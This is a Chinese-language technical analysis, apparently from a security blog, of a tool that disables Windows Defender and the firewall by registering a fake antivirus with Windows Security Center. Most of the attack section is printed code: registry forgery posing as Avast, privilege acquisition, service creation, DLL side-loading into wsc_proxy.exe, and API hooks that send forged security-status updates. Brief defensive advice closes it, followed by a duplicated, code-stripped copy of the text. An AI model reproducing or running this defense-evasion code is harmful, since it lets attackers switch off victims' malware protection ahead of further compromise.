[源码分析]利用WSC服务注册假杀软组件以关闭windows defender
字数 1017 2025-08-22 18:37:22

利用WSC服务注册假杀软组件关闭Windows Defender技术分析

1. 技术原理概述

Windows系统有一个Windows Security Center (WSC)服务,当安装了微软认证的杀毒软件时,会调用一个未公开的接口来更新杀软组件状态,同时自动关闭Windows Defender。本技术通过逆向分析安全厂商软件(如AVAST的wsc_proxy.exe),获取了这个API的细节,实现了伪造杀软注册信息来禁用Defender的功能。

2. 核心组件分析

2.1 Loader主程序

Loader程序(main.cpp)主要完成以下功能:

  1. 命令行参数解析

    argparse::ArgumentParser program("no-defender-loader", "1.0.1");
    program.add_argument("--disable").help("re-enable firewall/defender").flag();
    program.add_argument("--firewall").help("disable the firewall").flag();
    program.add_argument("--av").help("disable the defender").flag();
    program.add_argument("--name").help("av name").default_value(std::string("github.com/es3n1n/no-defender")).nargs(1);
    program.parse_args(argc, argv);
    
  2. 注册表设置
    HKEY_LOCAL_MACHINE\SOFTWARE\Avast Software\Avast\properties下创建注册表项,设置ProgramFolder值为当前进程文件的父文件夹:

    void setup_registry() {
        auto reg = native::Registry(HKEY_LOCAL_MACHINE, "SOFTWARE");
        reg = reg.create_key("Avast Software");
        reg = reg.create_key("Avast");
        (void)reg.create_key("properties");
        const auto path = util::app_path().parent_path().wstring();
        const bool status = reg.set_value(L"ProgramFolder", path.c_str(), path.length());
    }
    
  3. 权限提升
    获取SeLoadDriverPrivilege权限,允许加载驱动:

    if (!util::grant_privileges({L"SeLoadDriverPrivilege"})) {
        throw std::runtime_error("unable to acquire privileges");
    }
    

2.2 服务管理模块

service_loader::Instance类负责管理Windows服务:

class Instance {
public:
    using handle_t = std::unique_ptr<std::remove_pointer_t<SC_HANDLE>, decltype(&CloseServiceHandle)>;
    
    Instance() : _handle(handle_t(OpenSCManagerA(NULL, NULL, SC_MANAGER_ALL_ACCESS), &CloseServiceHandle)) {}
    
    [[nodiscard]] std::expected<handle_t, error_t> create_and_start_um_service(
        const std::string_view name, 
        const std::string_view display_name,
        const std::string& path) {
        // 创建并启动服务
        SC_HANDLE result = CreateServiceA(_handle.get(), name.data(), display_name.data(),
            SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START,
            SERVICE_ERROR_NORMAL, path.data(), nullptr, nullptr, nullptr, nullptr, nullptr);
        // 启动服务
        StartServiceA(result, 0, nullptr);
        return handle_t(result, &CloseServiceHandle);
    }
    
    bool stop_and_delete_service(handle_t& service) {
        SERVICE_STATUS status = {};
        ControlService(service.get(), SERVICE_CONTROL_STOP, &status);
        return static_cast<bool>(DeleteService(service.get()));
    }
};

2.3 DLL侧加载技术

通过DLL劫持技术,在加载白文件wsc_proxy.exe时,替换其依赖的DLL:

  1. DLL入口点

    BOOL __stdcall DllMain(HMODULE base, std::uint32_t call_reason, std::uintptr_t reserved) {
        if (call_reason != DLL_PROCESS_ATTACH) return TRUE;
    
        globals::powrprof_base = reinterpret_cast<std::uintptr_t>(LoadLibraryA("c:\\Windows\\System32\\powrprof.dll"));
        globals::init_ctx.deserialize();
        hooks::setup();
        return TRUE;
    }
    
  2. 导出函数

    EXTERN_C __declspec(dllexport) NTSTATUS WINAPI CallNtPowerInformation(
        POWER_INFORMATION_LEVEL InformationLevel,
        PVOID InputBuffer,
        ULONG InputBufferLength,
        PVOID OutputBuffer,
        ULONG OutputBufferLength) {
        static auto orig = reinterpret_cast<decltype(&CallNtPowerInformation)>(
            GetProcAddress(reinterpret_cast<HMODULE>(globals::powrprof_base), "CallNtPowerInformation"));
        return orig(InformationLevel, InputBuffer, InputBufferLength, OutputBuffer, OutputBufferLength);
    }
    

3. Hook技术实现

使用MinHook框架对关键API进行挂钩:

3.1 Hook初始化

inline void setup() {
    assert(MH_Initialize() == MH_OK);
    assert(create_hook(::CreateFileW, hooked::CreateFileW, &original::CreateFileW) == MH_OK);
    assert(create_hook(::DeviceIoControl, hooked::DeviceIoControl, &original::DeviceIoControl) == MH_OK);
    assert(create_hook(::I_RpcBindingInqLocalClientPID, hooked::I_RpcBindingInqLocalClientPID, &original::I_RpcBindingInqLocalClientPID) == MH_OK);
    assert(create_hook(::WaitForSingleObject, hooked::WaitForSingleObject, &original::WaitForSingleObject) == MH_OK);
    assert(MH_EnableHook(MH_ALL_HOOKS) == MH_OK);
}

3.2 关键Hook点分析

  1. CreateFileW Hook

    HANDLE WINAPI CreateFileW(LPCWSTR lpFileName, DWORD dwDesiredAccess, ...) {
        auto file_path = std::wstring(lpFileName);
        std::ranges::transform(file_path.begin(), file_path.end(), file_path.begin(), 
            [](wchar_t ch) { return static_cast<wchar_t>(std::tolower(static_cast<int>(ch))); });
    
        if (file_path.find(L"asw") != std::wstring::npos) {
            static std::once_flag fl;
            std::call_once(fl, []() {
                globals::wsc_base = globals::detail::base();
                MH_CreateHook(globals::ctx.proceed_queue, ProceedQueue, &original::ProceedQueue);
                MH_CreateHook(globals::ctx.proceed_item, ProcessItem, &original::ProcessItem);
                MH_EnableHook(nullptr);
            });
            return reinterpret_cast<HANDLE>(1337);
        }
        return original::CreateFileW(lpFileName, dwDesiredAccess, ...);
    }
    
  2. ProceedQueue Hook

    std::uintptr_t ProceedQueue() {
        auto push_payload = [](shared::e_product product, const wchar_t* internal_name) {
            if ((globals::init_ctx.product & product) == shared::e_product::NONE) return;
            auto payload = std::format(L"/svc /update /{} /state:{} /signatures:up_to_date", 
                internal_name, globals::init_ctx.state);
            globals::ctx.s_wscrpc_update(payload.data(), true);
        };
    
        push_payload(shared::e_product::AV, L"av_as");
        push_payload(shared::e_product::FIREWALL, L"firewall");
    
        const auto result = reinterpret_cast<decltype(&ProceedQueue)>(original::ProceedQueue)();
        std::exit(0);
        return result;
    }
    
  3. DeviceIoControl Hook

    BOOL WINAPI DeviceIoControl(HANDLE hDevice, DWORD dwIoControlCode, ...) {
        const auto ret = original::DeviceIoControl(hDevice, dwIoControlCode, ...);
        if (reinterpret_cast<uint64_t>(hDevice) != 1337) return ret;
    
        switch (dwIoControlCode) {
            case 0xB2D601C0: return TRUE;
            case 0xB2D600CC: *reinterpret_cast<int*>(lpOutBuffer) = 1; return TRUE;
            case 0xb2d60190: *reinterpret_cast<int*>(lpOutBuffer) = 1337; return TRUE;
            default: return ret;
        }
    }
    

4. 技术实现流程总结

  1. 创建必要的注册表项,伪装成已注册的杀毒软件
  2. 提升进程权限,获取加载驱动所需的特权
  3. 启动wsc_proxy.exe服务,通过DLL侧加载技术注入恶意DLL
  4. 在DLL中挂钩关键API,拦截安全中心通信
  5. 通过Hook修改安全中心状态更新,发送伪造的杀软状态信息
  6. 触发Windows Defender自动关闭机制

5. 防御建议

  1. 监控HKEY_LOCAL_MACHINE\SOFTWARE下异常的安全软件注册表项
  2. 检测异常的服务创建行为,特别是与安全中心相关的服务
  3. 防范DLL侧加载攻击,检查非系统目录下的系统DLL
  4. 实施API Hook检测机制
  5. 保持Windows Defender防篡改保护开启
  6. 定期审计系统上安装的安全软件合法性
利用WSC服务注册假杀软组件关闭Windows Defender技术分析 1. 技术原理概述 Windows系统有一个Windows Security Center (WSC)服务,当安装了微软认证的杀毒软件时,会调用一个未公开的接口来更新杀软组件状态,同时自动关闭Windows Defender。本技术通过逆向分析安全厂商软件(如AVAST的wsc_ proxy.exe),获取了这个API的细节,实现了伪造杀软注册信息来禁用Defender的功能。 2. 核心组件分析 2.1 Loader主程序 Loader程序(main.cpp)主要完成以下功能: 命令行参数解析 : 注册表设置 : 在 HKEY_LOCAL_MACHINE\SOFTWARE\Avast Software\Avast\properties 下创建注册表项,设置 ProgramFolder 值为当前进程文件的父文件夹: 权限提升 : 获取SeLoadDriverPrivilege权限,允许加载驱动: 2.2 服务管理模块 service_loader::Instance 类负责管理Windows服务: 2.3 DLL侧加载技术 通过DLL劫持技术,在加载白文件wsc_ proxy.exe时,替换其依赖的DLL: DLL入口点 : 导出函数 : 3. Hook技术实现 使用MinHook框架对关键API进行挂钩: 3.1 Hook初始化 3.2 关键Hook点分析 CreateFileW Hook : ProceedQueue Hook : DeviceIoControl Hook : 4. 技术实现流程总结 创建必要的注册表项,伪装成已注册的杀毒软件 提升进程权限,获取加载驱动所需的特权 启动wsc_ proxy.exe服务,通过DLL侧加载技术注入恶意DLL 在DLL中挂钩关键API,拦截安全中心通信 通过Hook修改安全中心状态更新,发送伪造的杀软状态信息 触发Windows Defender自动关闭机制 5. 防御建议 监控 HKEY_LOCAL_MACHINE\SOFTWARE 下异常的安全软件注册表项 检测异常的服务创建行为,特别是与安全中心相关的服务 防范DLL侧加载攻击,检查非系统目录下的系统DLL 实施API Hook检测机制 保持Windows Defender防篡改保护开启 定期审计系统上安装的安全软件合法性